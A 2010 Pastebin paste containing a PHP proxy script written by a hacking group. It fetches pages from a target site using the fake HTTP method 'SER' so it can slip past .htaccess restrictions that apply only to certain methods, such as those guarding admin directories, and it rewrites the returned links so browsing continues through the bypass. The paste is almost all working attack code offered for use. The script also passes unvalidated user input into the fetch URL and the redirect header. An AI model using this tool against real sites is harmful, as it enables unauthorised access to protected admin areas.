Advertisement
Guest User

Rioru's http method modification.

a guest
Apr 5th, 2010
542
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.45 KB | None | 0 0
  1. /*
  2. Author: Rioru Zheoske
  3. Site: ddxhunter.com - seraphicsquad.com
  4. Version: 0.1a
  5. Note: The code isn't optimized, really rough. Navigation won't work everytime, still have to add some preg_replace.
  6. */
  7. <?php
  8. $siteurl = "http://yoursite.com/methodbypass.php"; //Enter your website with this script url here.
  9. if(isset($_POST['url'])){
  10. $redir='Location: '.$siteurl.'?url='.base64_encode($_POST["url"]).'&file='.$_POST["file"];
  11. header($redir);
  12. exit;
  13. }
  14. if(!isset($_GET['url'])){
  15. echo '<form method="post" action="./methodbypass.php">';
  16. echo "<h1>Rioru's http method modification. (Bypass htaccess)</h1><p>To use this tool, enter the link (base url), then enter (exemple: http://site.com/admin/) .:</p>";
  17. echo "PS: POST DATA won't work, and proxy isn't enabled.";
  18. echo '<p><input type="text" name="url" id="url" size="120" /></p><p>End of url (Optionnal, exemple: user_list.php)</p><p><input type="text" name="file" id="file" size="120" /></p><p><input type="submit" name="send" value="Go." /></p>';
  19. echo '</form>';
  20. exit;
  21. }
  22. else{
  23. $context = array('http' => array('method'=>"SER", 'request_fulluri' => True, 'ignore_errors' => True, ), );
  24. $context = stream_context_create($context);
  25. $finalurl = base64_decode($_GET['url']).$_GET['file'];
  26. $a = file_get_contents($finalurl, False, $context);
  27. $pattern = '/a href="(.*?)\"/';
  28. $replace = 'a href="'.$siteurl.'?url='.$_GET['url'].'&file='.'$1"';
  29. $b = preg_replace($pattern, $replace, $a);
  30. echo $b;
  31. echo "Seraphic Squad.";
  32. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement